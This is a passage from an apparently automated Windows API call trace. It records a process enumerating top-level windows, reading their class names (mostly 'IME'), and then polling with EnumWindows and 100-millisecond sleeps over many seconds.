hWnd=0x102d6, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.846] GetClassNameA (in: hWnd=0x102d2, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.847] GetClassNameA (in: hWnd=0x102d0, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.847] GetClassNameA (in: hWnd=0x102ce, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.847] GetClassNameA (in: hWnd=0x102cc, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.847] GetClassNameA (in: hWnd=0x102ca, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.847] GetClassNameA (in: hWnd=0x102c8, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.847] GetClassNameA (in: hWnd=0x102c6, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x1029e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x1029a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x10294, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x10292, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x1028e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x1028a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x10280, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x1027a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x10266, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x10264, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x10262, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x10260, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x10256, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x10250, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.848] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x10248, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x10244, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x10240, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x10238, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x40016, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x20348, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x100f8, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0103.849] GetClassNameA (in: hWnd=0x100ea, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x20032, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x2019e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.849] GetClassNameA (in: hWnd=0x20074, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0103.850] Sleep (dwMilliseconds=0x64) [0104.114] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0104.114] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x1036fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0104.114] Sleep (dwMilliseconds=0x64) [0104.271] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0104.271] Sleep (dwMilliseconds=0x64) [0104.381] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0104.382] Sleep (dwMilliseconds=0x64) [0104.536] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0104.536] Sleep (dwMilliseconds=0x64) [0104.735] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0104.736] Sleep (dwMilliseconds=0x64) [0104.850] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0104.851] Sleep (dwMilliseconds=0x64) [0105.045] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0105.045] Sleep (dwMilliseconds=0x64) [0105.288] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0105.289] Sleep (dwMilliseconds=0x64) [0105.443] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0105.444] Sleep (dwMilliseconds=0x64) [0105.586] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0105.586] Sleep (dwMilliseconds=0x64) [0105.739] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0105.739] Sleep (dwMilliseconds=0x64) [0105.927] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0105.928] Sleep (dwMilliseconds=0x64) [0106.070] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0106.070] Sleep (dwMilliseconds=0x64) [0106.210] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0106.211] Sleep (dwMilliseconds=0x64) [0106.336] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0106.336] Sleep (dwMilliseconds=0x64) [0106.567] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0106.567] Sleep (dwMilliseconds=0x64) [0106.701] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0106.701] Sleep (dwMilliseconds=0x64) [0106.821] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0106.821] Sleep (dwMilliseconds=0x64) [0107.028] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0107.028] Sleep (dwMilliseconds=0x64) [0107.132] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0107.133] Sleep (dwMilliseconds=0x64) [0107.282] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0107.282] Sleep (dwMilliseconds=0x64) [0107.395] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0107.395] Sleep (dwMilliseconds=0x64) [0107.576] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0107.576] Sleep (dwMilliseconds=0x64) [0107.688] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0107.689] Sleep (dwMilliseconds=0x64) [0107.898] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0107.898] Sleep (dwMilliseconds=0x64) [0108.076] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0108.076] Sleep (dwMilliseconds=0x64) [0108.224] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0108.224] Sleep (dwMilliseconds=0x64) [0108.590] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0108.591] Sleep (dwMilliseconds=0x64) [0108.725] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0108.725] Sleep (dwMilliseconds=0x64) [0108.841] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0108.841] Sleep (dwMilliseconds=0x64) [0108.958] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0108.958] Sleep (dwMilliseconds=0x64) [0109.067] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0109.068] Sleep (dwMilliseconds=0x64) [0109.176] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0109.177] Sleep (dwMilliseconds=0x64) [0109.295] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0109.296] Sleep (dwMilliseconds=0x64) [0109.434] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0109.434] Sleep (dwMilliseconds=0x64) [0109.551] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0109.551] Sleep (dwMilliseconds=0x64) [0109.692] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0109.692] Sleep (dwMilliseconds=0x64) [0109.844] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0109.845] Sleep (dwMilliseconds=0x64) [0109.959] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0109.960] Sleep (dwMilliseconds=0x64) [0110.084] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0110.085] Sleep (dwMilliseconds=0x64) [0110.224] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0110.224] Sleep (dwMilliseconds=0x64) [0110.332] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0110.332] Sleep (dwMilliseconds=0x64) [0110.474] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0110.474] Sleep (dwMilliseconds=0x64) [0110.610] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0110.610] Sleep (dwMilliseconds=0x64) [0110.723] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0110.724] Sleep (dwMilliseconds=0x64) [0110.856] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0110.856] Sleep (dwMilliseconds=0x64) [0110.973] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0110.973] Sleep (dwMilliseconds=0x64) [0111.099] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0111.099] Sleep (dwMilliseconds=0x64) [0111.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0111.208] Sleep (dwMilliseconds=0x64) [0111.343] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0111.343] Sleep (dwMilliseconds=0x64) [0111.489] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0111.489] Sleep (dwMilliseconds=0x64) [0111.603] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0111.604] Sleep (dwMilliseconds=0x64) [0111.710] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0111.710] Sleep (dwMilliseconds=0x64) [0111.825] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0111.825] Sleep (dwMilliseconds=0x64) [0111.960] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0111.960] Sleep (dwMilliseconds=0x64) [0112.094] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0112.094] Sleep (dwMilliseconds=0x64) [0112.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0112.207] Sleep (dwMilliseconds=0x64) [0112.317] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0112.317] Sleep (dwMilliseconds=0x64) [0112.443] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0112.444] Sleep (dwMilliseconds=0x64) [0112.626] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0112.626] Sleep (dwMilliseconds=0x64) [0112.753] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0112.753] Sleep (dwMilliseconds=0x64) [0112.939] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0112.940] Sleep (dwMilliseconds=0x64) [0113.058] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0113.058] Sleep (dwMilliseconds=0x64) [0113.162] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0113.162] Sleep (dwMilliseconds=0x64) [0113.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0113.270] Sleep (dwMilliseconds=0x64) [0113.411] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0113.411] Sleep (dwMilliseconds=0x64) [0113.519] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0113.520] Sleep (dwMilliseconds=0x64) [0113.632] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0113.632] Sleep (dwMilliseconds=0x64) [0113.740] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0113.741] Sleep (dwMilliseconds=0x64) [0113.860] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0113.861] Sleep (dwMilliseconds=0x64) [0113.973] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0113.974] Sleep (dwMilliseconds=0x64) [0114.083] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0114.083] Sleep (dwMilliseconds=0x64) [0114.208] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0114.208] Sleep (dwMilliseconds=0x64) [0114.449] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0114.450] Sleep (dwMilliseconds=0x64) [0114.579] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0114.579] Sleep (dwMilliseconds=0x64) [0114.719] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0114.719] Sleep (dwMilliseconds=0x64) [0114.835] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0114.835] Sleep (dwMilliseconds=0x64) [0114.961] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0114.961] Sleep (dwMilliseconds=0x64) [0115.083] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0115.083] Sleep (dwMilliseconds=0x64) [0115.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0115.238] Sleep (dwMilliseconds=0x64) [0115.349] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0115.350] Sleep (dwMilliseconds=0x64) [0115.474] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0115.474] Sleep (dwMilliseconds=0x64) [0115.582] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0115.582] Sleep (dwMilliseconds=0x64) [0115.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0115.691] Sleep (dwMilliseconds=0x64) [0115.833] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0115.833] Sleep (dwMilliseconds=0x64) [0115.942] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0115.943] Sleep (dwMilliseconds=0x64) [0116.051] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0116.051] Sleep (dwMilliseconds=0x64) [0116.161] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0116.161] Sleep (dwMilliseconds=0x64) [0116.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0116.270] Sleep (dwMilliseconds=0x64) [0116.420] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0116.420] Sleep (dwMilliseconds=0x64) [0116.538] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0116.539] Sleep (dwMilliseconds=0x64) [0116.716] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0116.717] Sleep (dwMilliseconds=0x64) [0116.865] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0116.865] Sleep (dwMilliseconds=0x64) [0116.973] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0116.973] Sleep (dwMilliseconds=0x64) [0117.084] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0117.084] Sleep (dwMilliseconds=0x64) [0117.210] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0117.210] Sleep (dwMilliseconds=0x64) [0117.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0117.316] Sleep (dwMilliseconds=0x64) [0117.463] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0117.464] Sleep (dwMilliseconds=0x64) [0117.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0117.566] Sleep (dwMilliseconds=0x64) [0117.676] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0117.676] Sleep (dwMilliseconds=0x64) [0117.819] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0117.820] Sleep (dwMilliseconds=0x64) [0117.926] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0117.927] Sleep (dwMilliseconds=0x64) [0118.043] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0118.043] Sleep (dwMilliseconds=0x64) [0118.214] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0118.215] Sleep (dwMilliseconds=0x64) [0118.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0118.316] Sleep (dwMilliseconds=0x64) [0118.437] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0118.437] Sleep (dwMilliseconds=0x64) [0118.551] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0118.551] Sleep (dwMilliseconds=0x64) [0118.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0118.661] Sleep (dwMilliseconds=0x64) [0118.809] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0118.810] Sleep (dwMilliseconds=0x64) [0118.916] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0118.916] Sleep (dwMilliseconds=0x64) [0119.081] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0119.082] Sleep (dwMilliseconds=0x64) [0119.212] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0119.213] Sleep (dwMilliseconds=0x64) [0119.340] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0119.341] Sleep (dwMilliseconds=0x64) [0119.495] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0119.495] Sleep (dwMilliseconds=0x64) [0119.598] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0119.599] Sleep (dwMilliseconds=0x64) [0119.710] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0119.710] Sleep (dwMilliseconds=0x64) [0119.817] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0119.817] Sleep (dwMilliseconds=0x64) [0119.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0119.926] Sleep (dwMilliseconds=0x64) [0120.061] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0120.061] Sleep (dwMilliseconds=0x64) [0120.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0120.176] Sleep (dwMilliseconds=0x64) [0120.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0120.411] Sleep (dwMilliseconds=0x64) [0120.537] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0120.538] Sleep (dwMilliseconds=0x64) [0120.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0120.645] Sleep (dwMilliseconds=0x64) [0120.958] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0120.958] Sleep (dwMilliseconds=0x64) [0121.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0121.066] Sleep (dwMilliseconds=0x64) [0121.192] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0121.193] Sleep (dwMilliseconds=0x64) [0121.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0121.301] Sleep (dwMilliseconds=0x64) [0121.420] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0121.421] Sleep (dwMilliseconds=0x64) [0121.535] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0121.535] Sleep (dwMilliseconds=0x64) [0121.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0121.644] Sleep (dwMilliseconds=0x64) [0121.761] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0121.761] Sleep (dwMilliseconds=0x64) [0121.862] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0121.863] Sleep (dwMilliseconds=0x64) [0121.972] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0121.973] Sleep (dwMilliseconds=0x64) [0122.082] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0122.082] Sleep (dwMilliseconds=0x64) [0122.198] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0122.198] Sleep (dwMilliseconds=0x64) [0122.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0122.300] Sleep (dwMilliseconds=0x64) [0122.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0122.410] Sleep (dwMilliseconds=0x64) [0122.562] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0122.563] Sleep (dwMilliseconds=0x64) [0122.677] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0122.677] Sleep (dwMilliseconds=0x64) [0122.798] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0122.798] Sleep (dwMilliseconds=0x64) [0122.910] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0122.911] Sleep (dwMilliseconds=0x64) [0123.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0123.020] Sleep (dwMilliseconds=0x64) [0123.150] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0123.150] Sleep (dwMilliseconds=0x64) [0123.253] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0123.254] Sleep (dwMilliseconds=0x64) [0123.372] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0123.373] Sleep (dwMilliseconds=0x64) [0123.559] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0123.559] Sleep (dwMilliseconds=0x64) [0123.681] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0123.682] Sleep (dwMilliseconds=0x64) [0123.799] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0123.799] Sleep (dwMilliseconds=0x64) [0123.910] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0123.913] Sleep (dwMilliseconds=0x64) [0124.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0124.020] Sleep (dwMilliseconds=0x64) [0124.149] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0124.149] Sleep (dwMilliseconds=0x64) [0124.254] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0124.255] Sleep (dwMilliseconds=0x64) [0124.391] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0124.391] Sleep (dwMilliseconds=0x64) [0124.562] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0124.562] Sleep (dwMilliseconds=0x64) [0124.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0124.676] Sleep (dwMilliseconds=0x64) [0124.785] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0124.785] Sleep (dwMilliseconds=0x64) [0124.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0124.894] Sleep (dwMilliseconds=0x64) [0125.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0125.004] Sleep (dwMilliseconds=0x64) [0125.129] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0125.129] Sleep (dwMilliseconds=0x64) [0125.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0125.239] Sleep (dwMilliseconds=0x64) [0125.353] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0125.354] Sleep (dwMilliseconds=0x64) [0125.456] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0125.457] Sleep (dwMilliseconds=0x64) [0125.580] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0125.580] Sleep (dwMilliseconds=0x64) [0125.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0125.691] Sleep (dwMilliseconds=0x64) [0125.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0125.800] Sleep (dwMilliseconds=0x64) [0125.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0125.926] Sleep (dwMilliseconds=0x64) [0126.034] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0126.035] Sleep (dwMilliseconds=0x64) [0126.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0126.144] Sleep (dwMilliseconds=0x64) [0126.253] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0126.254] Sleep (dwMilliseconds=0x64) [0126.374] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0126.375] Sleep (dwMilliseconds=0x64) [0126.504] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0126.505] Sleep (dwMilliseconds=0x64) [0126.613] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0126.613] Sleep (dwMilliseconds=0x64) [0126.723] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0126.724] Sleep (dwMilliseconds=0x64) [0126.832] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0126.832] Sleep (dwMilliseconds=0x64) [0126.974] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0126.974] Sleep (dwMilliseconds=0x64) [0127.128] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0127.129] Sleep (dwMilliseconds=0x64) [0127.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0127.238] Sleep (dwMilliseconds=0x64) [0127.414] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0127.414] Sleep (dwMilliseconds=0x64) [0127.546] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0127.546] Sleep (dwMilliseconds=0x64) [0127.663] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0127.664] Sleep (dwMilliseconds=0x64) [0127.773] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0127.775] Sleep (dwMilliseconds=0x64) [0127.881] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0127.881] Sleep (dwMilliseconds=0x64) [0127.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0127.988] Sleep (dwMilliseconds=0x64) [0128.108] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0128.108] Sleep (dwMilliseconds=0x64) [0128.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0128.239] Sleep (dwMilliseconds=0x64) [0128.355] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0128.355] Sleep (dwMilliseconds=0x64) [0128.494] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0128.495] Sleep (dwMilliseconds=0x64) [0128.628] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0128.629] Sleep (dwMilliseconds=0x64) [0128.785] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0128.785] Sleep (dwMilliseconds=0x64) [0128.894] EnumWindows 